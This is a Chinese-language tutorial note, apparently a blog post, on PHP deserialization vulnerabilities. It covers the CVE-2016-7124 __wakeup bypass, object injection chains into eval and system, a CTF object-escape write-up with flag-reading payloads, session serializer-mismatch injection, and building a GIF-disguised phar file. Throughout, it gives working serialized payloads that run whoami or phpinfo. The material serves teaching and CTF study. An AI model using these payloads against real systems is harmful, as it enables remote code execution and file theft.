参考文章:

PHP反序列化漏洞入门

easy_serialize_php wp

实战经验丨PHP反序列化漏洞总结

PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患

利用 phar 拓展 php 反序列化漏洞攻击面

序列化和反序列化的概念

序列化就是将 对象、string、数组array、变量 转换成具有一定格式的字符串。

具体可以看 CTF PHP反序列化,下图摘自此篇文章



其实每个字符对应的含义都很好理解:

s ----      string 字符串
i ---- integer 整数
d --- 双精度型
b ---- boolean 布尔数
N ---- NULL 空值
O ---- Object 对象
a ---- array 数组
·············

其中较为重要的是 对象 的序列化与反序列化:

对象序列化后的字符串包括 属性名、属性值、属性类型、该对象对应的类名,注意并不包括类中的方法

  • 序列化:

将对象转化成字符串存储

其中:

序列化一个实例对象后:
O:4:"Test":3:{s:4:"name";s:6:"R0oKi3";s:6:"*age";s:16:"18岁余24个月";s:10:"Testmoto";s:6:"hehehe";} O:4:"Test":3: ---O 代表 对象,Test为其类名,占 4 个字符,并且有 3 个属性
{} ---大括号里面包含具体的属性
s:4:"name";s:6:"R0oKi3"; ---以分号分隔属性名和属性值,s 表示字符串,4、6 表示字符长度,name表示属性名,R0oKi3 表示属性值,后续一样,都是成对的 注意点:当访问控制修饰符(public、protected、private)不同时,序列化后的结果也不同
public 被序列化的时候属性名 不会更改
protected 被序列化的时候属性名 会变成 %00*%00属性名
private 被序列化的时候属性名 会变成 %00类名%00属性名

由于 %00 就是一个空字符,所以不会显示出来,不过为了显示效果,在菜鸟工具上可以明显看到不同

当提交 payload 的时候就需要将 %00 给加上后再提交

  • 反序列化:

反序列化则相反,其将字符串转化成对象

至于为什么要序列化:

对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。

  • serialize() 函数

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,__sleep() 方法会先被调用,然后才执行序列化操作。

  • unserialize() 函数

unserialize() 会检查是否存在一个 __wakeup() 魔术方法,成功地重新构造对象后,如果存在__wakeup() 成员函数则会调用 __wakeup()

但是当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过 __wakeup() 的执行,也就是 CVE-2016-7124,php 版本限制(PHP5 < 5.6.25、PHP7 < 7.0.10)。

由于会从字符串构造出对象,那么会不会调用 __construct() 构造函数?

例如如下测试代码:

<?php
class Test{
public $test;
function __construct(){
$this->test = '0默认内容<br>';
echo $this->test;
}
}
$a = new Test();
echo '1'.$a->test;
$a->test = '自定义内容<br>';
echo '2'.$a->test; $x = serialize($a); $y = unserialize($x);
echo '3'.$y->test; ?>

执行结果为:

0默认内容                        // $a = new Test(); 时执行 __construct() 构造函数
1默认内容 // echo '1'.$a->test;
2自定义内容 // echo '2'.$a->test;
3自定义内容 // echo '3'.$y->test;

可以看到反序列化时,并没有调用 __construct() 构造函数。

__destruct()       析构函数,当对象被销毁或者程序退出时会自动调用
__toString() 用于一个类被当成字符串时触发
__invoke() 当尝试以调用函数的方式调用一个对象时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用 isset() 或 empty() 触发
__unset() 在不可访问的属性上使用 unset() 时触发

通过例子理解反序列化漏洞

CVE-2016-7124

  • 介绍:

    调用 unserilize() 方法成功地重新构造对象后,如果 class 中存在 __wakeup 方法,前会调用 __wakeup 方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 __wakeup 的执行

    php版本限制(PHP5 < 5.6.25、PHP7 < 7.0.10)

  • 测试代码:

<?php
class Test{
public $cmd;
function __wakeup(){
$this->cmd = '';
}
function __destruct(){
echo '<br>';
system($this->cmd);
}
} $test = $_GET['cmd'];
$test_n = unserialize($test);
?>

可以看到,当执行反序列化的时候,调用 __wakeup 方法会将 $cmd 参数置为空,在程序退出时执行 __destruct 方法时也就执行不了任何命令

  • 因此可以利用 CVE-2016-7124

    首先得到一个正常的序列化结果:
<?php
class Test{
public $cmd;
function __wakeup(){
$this->cmd = '';
}
function __destruct(){
echo '<br>';
system($this->cmd);
}
}
$test = new Test();
$test->cmd = "whoami";
echo serialize($test);

结果:O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}

然后构造对象属性个数的值大于真实的属性个数的 payload:

O:4:"Test":2:{s:3:"cmd";s:6:"whoami";}

  • 成功执行:

对象注入

参考文章:实战经验丨PHP反序列化漏洞总结

  • 参考代码:
<?php
class A{
var $target;
function __construct(){
$this->target = new B;
}
function __destruct(){
$this->target->action();
}
} class B{
function action(){
echo "action B";
}
} class C{
var $test;
function action(){
echo "action C";
eval($this->test);
}
} unserialize($_GET['test']);
?>

class B 和class C 有一个同名方法 action,我们可以构造目标对象,使得析构函数调用 class C 的 action 方法,实现任意代码执行

  • 构造序列化字符串:
<?php
class A{
var $target;
function __construct(){
$this->target = new C; //这里将 B 换成 C
$this->target->test = "whoami"; //初始化对象 $test 值
}
function __destruct(){
$this->target->action();
}
}
class C{
var $test;
function action(){
eval($this->test);
}
}
echo "\n\n\n\n";
echo serialize(new A());
?>
  • 运行得到 payload:可以看到,内部注入了一个 C 对象

    O:1:"A":1:{s:6:"target";O:1:"C":1:{s:4:"test";s:10:"phpinfo();";}}

  • 执行

PHP 反序列化的对象逃逸

参考文章:easy_serialize_php wp

题目:easy_serialize_php

  • 打开题目看到源码
 <?php

$function = @$_GET['f'];      //获取 f 变量

function filter($img){                        //整个函数的作用就是通过正则替换参数中的特定字符为 空
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i'; // $filter = "/php|/flag|php5|php4|fl1g/i"
return preg_replace($filter,'',$img);
} if($_SESSION){
unset($_SESSION);
} $_SESSION["user"] = 'guest';
$_SESSION['function'] = $function; //给 $SESSION array增加初值 extract($_POST); //将 POST 的值前加上 $ 符号,例如 a=123,处理后就变成了 $a=123 if(!$function){ //没有传参数 f 显示,也就是打开题目时的首页
echo '<a href="index.php?f=highlight_file">source_code</a>';
} if(!$_GET['img_path']){ //将 $_SESSION['img'] base64 编码
$_SESSION['img'] = base64_encode('guest_img.png');
}else{ //将 $_SESSION['img'] base64 编码后再哈希
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
} $serialize_info = filter(serialize($_SESSION)); // 将 $_SESSION array参数序列化后再调用 filter 过滤函数 if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));//base64 解码后获取指定文件
}
  • 首先可以看到提示我们传入 f=phpinfo ,打开后可以看到一个不太正常的东西

  • 直接访问为空,结合 file_get_contents 函数,便考虑能不能读取该文件

  • 看到这个判断

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

如果我们直接 get 传 img_path 参数,文件会被哈希,file_get_contents(base64_decode($userinfo['img'])); 函数在 base64 解码时便会出错,读不到我们指定的文件,不传呢我们又只能读到指定的 guest_img.png 文件

  • 既然题目给了 filter 函数,那么便肯定有用,而且可以看到,调用该函数是在 $_SESSION 被序列化之后,于是便可以考虑反序列化对象逃逸

    首先要知道一个特性:当指定一个 string 长度,而其值为空时,那么便会发生字符吞噬,无论后面的字符是什么

    例如:s:10:"";s:3:"123";,第一个 s 指定长度为10,而值为空,那么便会将后续字符吞掉,其中 ";s:3:"123 便会被吞噬,变成 s:10:"脑袋被吃了";

看到 payload:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:4:"test";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

执行 serialize($_SESSION) 后:

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:65:"a";s:8:"function";s:4:"test";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

经过 filter() 函数之后,关键字被剔除:

a:3:{s:4:"user";s:24:"";s:8:"function";s:65:"a";s:8:"function";s:4:"test";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

可以看到 s:24:""; ,这里便会发生吞噬,";s:8:"function";s:65:"a被吞噬后变成:

a:3:{s:4:"user";s:24:"被吞噬的 24 个字符";s:8:"function";s:4:"test";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

也就是 $serialize_info 参数最终的值

  • 看到这里:
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));

执行反序列化$serialize_info时,执行时只有 a:3:{s:4:"user";s:24:"被吞噬的 24 个字符";s:65:"function";s:4:"test";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";

会被当成有效字符,由此便发生了对象逃逸现象

$userinfo['img'] 的值就变成了 ZDBnM19mMWFnLnBocA== ,base64解码后变成了 d0g3_f1ag.php,也就成功将文件内容输出了

  • 执行

  • 查看网页源代码会发现

<?php
$flag = 'flag in /d0g3_fllllllag';
?>
  • 依葫芦画瓢

    构造 payload,获取/d0g3_fllllllag文件
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:4:"test";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
  • 执行

session 反序列化

参考文章:

PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患

  • session.serialize_handler="" 定义序列化和反序列化的处理器的名字,默认是php(5.5.4后改为php_serialize)

    测试代码:
<?php
ini_set('session.serialize_handler', '处理方法');
session_start();
$_SESSION['username'] = 'test';
?>
  • session.serialize_handler=php(默认)

    只对用户名的内容进行了序列化存储,没有对变量名进行序列化,可以看作是服务器对用户会话信息的半序列化存储过程。

    比如:传入数据 username=test,那么变成 session 后存储为 username|s:4:"test";

  • session.serialize_handler=php_serialize

    对整个session信息包括文件名、文件内容都进行了序列化处理,可以看作是服务器对用户会话信息的完全序列化存储过程。

    比如:传入数据 username=test,那么变成 session 后存储为 a:1{s:8:"username";s:4:"test";}

  • session.serialize_handler=php_binary

    键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数反序列化处理的值

    比如:传入数据 username=test,那么变成 session 后存储为 8 代表的 ascii 字符退格 usernames:4:"test";

  • 为什么会出现序列化漏洞?

    反序列化存储的 $_SEESION 数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的伪造,便可以伪造任意数据

  • 例如:

    在存储 $_SEESION 时处理方法为 php_serialize,传输的数据为 username=|O:4:"test":0:{},则最后存储为 a:1{s:8:"username";s:16:"|O:4:"test":0:{}"}

    而在取用 $_SESSION 时的处理方法为 php,此时键:a:1{s:8:"username";s:16:",值:O:4:"test":0:{},那么反序列话后便构造出了一个 test 对象。

下面的内容取自PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患

  • session.auto_start

    指定会话模块是否在请求开始时启动一个会话,默认不启动

    • session.auto_start=On

    当配置选项 session.auto_start=On,会自动注册 Session 会话,因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的, 因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start=On 时,销毁自动生成的 Session 会话,然后设置需要的序列化处理器,再调用 session_start() 函数注册会话,这时如果脚本中设置的序列化处理器与 php.ini 中设置的不同,就会出现安全问题,如下面的代码:

    //foo.php

    if (ini_get('session.auto_start')) {
    session_destroy();
    }
    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION['ryat'] = $_GET['ryat'];

    当第一次访问该脚本,并提交数据如下:

    foo.php?ryat=|O:8:"stdClass":0:{}

    脚本会按照 php_serialize 处理器的序列化格式存储数据:

    a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}

    当第二次访问该脚本时,PHP 会按照 php.ini 里设置的序列化处理器反序列化存储的数据,这时如果 php.ini 里设置的是 php 处理器的话,将会反序列化伪造的数据,成功实例化了 stdClass 对象

    这里需要注意的是,因为 PHP 自动注册 Session 会话是在脚本执行前,所以通过该方式只能注入 PHP 的内置类。

    • session.auto_start=Off

    当配置选项 session.auto_start=Off,两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题,如下面的代码:

    //foo1.php

    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION['ryat'] = $_GET['ryat'];

    //foo2.php

    ini_set('session.serialize_handler', 'php');
    //or session.serialize_handler set to php in php.ini
    session_start();
    class ryat {
    var $hi; function __wakeup() {
    echo 'hi';
    }
    function __destruct() {
    echo $this->hi;
    }
    }

    当访问 foo1.php 时,提交数据如下:

    foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}

    脚本会按照 php_serialize 处理器的序列化格式存储数据,访问 foo2.php 时,则会按照 php 处理器的反序列化格式读取数据,这时将会反序列化伪造的数据,成功实例化了 ryat 对象,并将会执行类中的 __wakeup 方法和 __destruct 方法

  • 还有一个有趣的点 ------ 没有$_SESSION变量赋值,通过上传文件构造反序列化漏洞

    文章:

    原理+实践掌握(PHP反序列化和Session反序列化)

    深入解析PHP中SESSION反序列化机制

  • 小例子:

1.php

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["username"]=$_GET["a"];
?>

2.php

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Test{
var $cmd;
function __construct(){
$this->cmd = 'phpinfo();';
} function __destruct(){
system($this->cmd);
}
}
?>

首先我们访问 1.php,并传入?a=|O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}

于是会在本地生成一个 session 文件,其内容为a:1:{s:8:"username";s:39:"|O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}";}

然后我们访问 2.php,执行了 session_start() 函数,于是便会将 session 文件内容取出进行反序列化,由于处理方法不同,导致了反序列化漏洞

构造了一个 Test() 对象,然后再给通过序列化字符串的内容给 $cmd 变量赋值 'whoami',此时 __construct() 方法并没有被调用

在程序结束时,调用了析构函数,也就执行了命令 whoami

phar:// 反序列化漏洞(对象注入)

函数
ìnclude(); fopen(); copy(); file();
file_get_contents(); file_put_contents(); file_exists(); md5_file();
unlink(); stat(); readfile();
is_dir(); is_file(); is_link(); is_executable();
is_readable(); is_writable(); is_writeable(); parse_ini_file();
filegroup(); fileinode(); fileowner(); fileperms();
filemtime(); fileatime(); filectime(); filesize();
exif_thumbnailexif_imagetype();
imageloadfontimagecreatefrom();
hash_hmac_filehash_filehash_update_filemd5_filesha1_file();
get_meta_tagsget_headers();
getimagesizegetimagesizefromstring(); $zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
  • 小例子

    • 漏洞存在的前提条件:

      能上传 phar 文件或者其他类型的文件到服务器

      有能解析并触发反序列化的函数,并且参数可控

      伪协议 phar:// 未被禁用

    • 存在漏洞的代码 phar.php:

    <?php
    $filename=$_GET['filename'];
    class AnyClass{
    var $output = 'echo "cck";';
    function __destruct()
    {
    eval($this->output);
    }
    }
    file_exists($filename);
    ?>
    • 创建 phar 文件,并注入对象,代码:make_phar.php:

      注意点:要将 php.ini 中的 phar.readonly 选项设置为 Off,否则无法生成 phar 文件
    class AnyClass {}            //需要构造的对象
    
    $phar = new Phar('test.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt', 'text');
    $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //这里可以绕过文件类型设置,既可以当成 gif 也可以当成 phar 文件,当然也可以设置其他头,也可以不设置
    $object = new AnyClass;
    $object->output = 'phpinfo();'; // 设置对象参数
    $phar->setMetadata($object); //将对象存储(会自动将其序列化)
    $phar->stopBuffering();
    • 执行该代码会得到一个 phar 文件

    • 查看该文件具体内容

    • 上传到目标服务器访问存在漏洞的代码,并指定文件

PHP 反序列化漏洞入门学习笔记的更多相关文章

  1. CVE-2018-2628 weblogic WLS反序列化漏洞--RCE学习笔记

    weblogic WLS 反序列化漏洞学习 鸣谢 感谢POC和分析文档的作者-绿盟大佬=>liaoxinxi:感谢群内各位大佬及时传播了分析文档,我才有幸能看到. 漏洞简介 漏洞威胁:RCE-- ...

  2. Hadoop入门学习笔记---part4

    紧接着<Hadoop入门学习笔记---part3>中的继续了解如何用java在程序中操作HDFS. 众所周知,对文件的操作无非是创建,查看,下载,删除.下面我们就开始应用java程序进行操 ...

  3. Hadoop入门学习笔记---part3

    2015年元旦,好好学习,天天向上.良好的开端是成功的一半,任何学习都不能中断,只有坚持才会出结果.继续学习Hadoop.冰冻三尺,非一日之寒! 经过Hadoop的伪分布集群环境的搭建,基本对Hado ...

  4. PyQt4入门学习笔记(三)

    # PyQt4入门学习笔记(三) PyQt4内的布局 布局方式是我们控制我们的GUI页面内各个控件的排放位置的.我们可以通过两种基本方式来控制: 1.绝对位置 2.layout类 绝对位置 这种方式要 ...

  5. PyQt4入门学习笔记(一)

    PyQt4入门学习笔记(一) 一直没有找到什么好的pyqt4的教程,偶然在google上搜到一篇不错的入门文档,翻译过来,留以后再复习. 原始链接如下: http://zetcode.com/gui/ ...

  6. Hadoop入门学习笔记---part2

    在<Hadoop入门学习笔记---part1>中感觉自己虽然总结的比较详细,但是始终感觉有点凌乱.不够系统化,不够简洁.经过自己的推敲和总结,现在在此处概括性的总结一下,认为在准备搭建ha ...

  7. Hadoop入门学习笔记---part1

    随着毕业设计的进行,大学四年正式进入尾声.任你玩四年的大学的最后一次作业最后在激烈的选题中尘埃落定.无论选择了怎样的选题,无论最后的结果是怎样的,对于大学里面的这最后一份作业,也希望自己能够尽心尽力, ...

  8. Scala入门学习笔记三--数组使用

    前言 本篇主要讲Scala的Array.BufferArray.List,更多教程请参考:Scala教程 本篇知识点概括 若长度固定则使用Array,若长度可能有 变化则使用ArrayBuffer 提 ...

  9. OpenCV入门学习笔记

    OpenCV入门学习笔记 参照OpenCV中文论坛相关文档(http://www.opencv.org.cn/) 一.简介 OpenCV(Open Source Computer Vision),开源 ...

随机推荐

  1. Python爬虫小白入门(七)爬取豆瓣音乐top250

      抓取目标: 豆瓣音乐top250的歌名.作者(专辑).评分和歌曲链接 使用工具: requests + lxml + xpath. 我认为这种工具组合是最适合初学者的,requests比pytho ...

  2. 浅淡i.MX8M Mini处理器的效能以及平台对比

    i.MX 8M Mini是恩智浦首款嵌入式多核应用处理器,定位在任何通用工业和物联网的应用,是一款针对边缘计算应用的芯片,也是恩智普i.MX系列中第一个加了机器学习核的产品线.这颗芯片采用先进的14L ...

  3. 0.1---selenium+java自动化测试进阶02----项目实战之登录代码重构

    一.测试登录功能实现 以慕课网的登录为例,分析登录的功能需求,编写测试用例,找到要定位的元素以及需要的操作,编写登录功能的测试代码.代码实现如下: public static void main(St ...

  4. 使用python解线性矩阵方程(numpy中的matrix类)

    这学期有一门运筹学,讲的两大块儿:线性优化和非线性优化问题.在非线性优化问题这里涉及到拉格朗日乘子法,经常要算一些非常变态的线性方程,于是我就想用python求解线性方程.查阅资料的过程中找到了一个极 ...

  5. 【JMeter_21】JMeter逻辑控制器__模块控制器<Module Controller>

    模块控制器<Module Controller> 业务逻辑: 可以理解为引用.调用的意思,执行内容为Module To Run种所选的内容,引用范围为当前测试计划内的测试片段.逻辑控制器& ...

  6. position中的四种属性

    Position有四个属性值,分别是static .fixed. relative .absolute. 第一个属性值是static,这是position的默认属性,一般我们都不会用到它,所以也很少提 ...

  7. cb07a_c++_迭代器和迭代器的范围

    cb07a_c++_迭代器和迭代器的范围c++primer第4版https://www.cnblogs.com/txwtech/p/12309989.html--每一种容器都有自己的迭代器--所有的迭 ...

  8. opencv视频教程分享

    opencv视频教程分享-在线与网盘 https://pan.baidu.com/s/1oAcctlS 密码:i5rd 链接:https://pan.baidu.com/s/1kVJ3iSJ  密码: ...

  9. 浅析pplx库的设计与实现。

    主要有三部分组成,threadpool,scheduler,task. 三者关系如上图示,pplx只着重实现了task部分功能,scheduler跟threadpool只是简略实现. threadpo ...

  10. ThinkPHP 5接阿里云短信接口

    1.首先将api_sdk文件放入vendor文件夹下 2.在config文件中作相应的配置 3.封装发送短信的方法 4.调用发送短信方法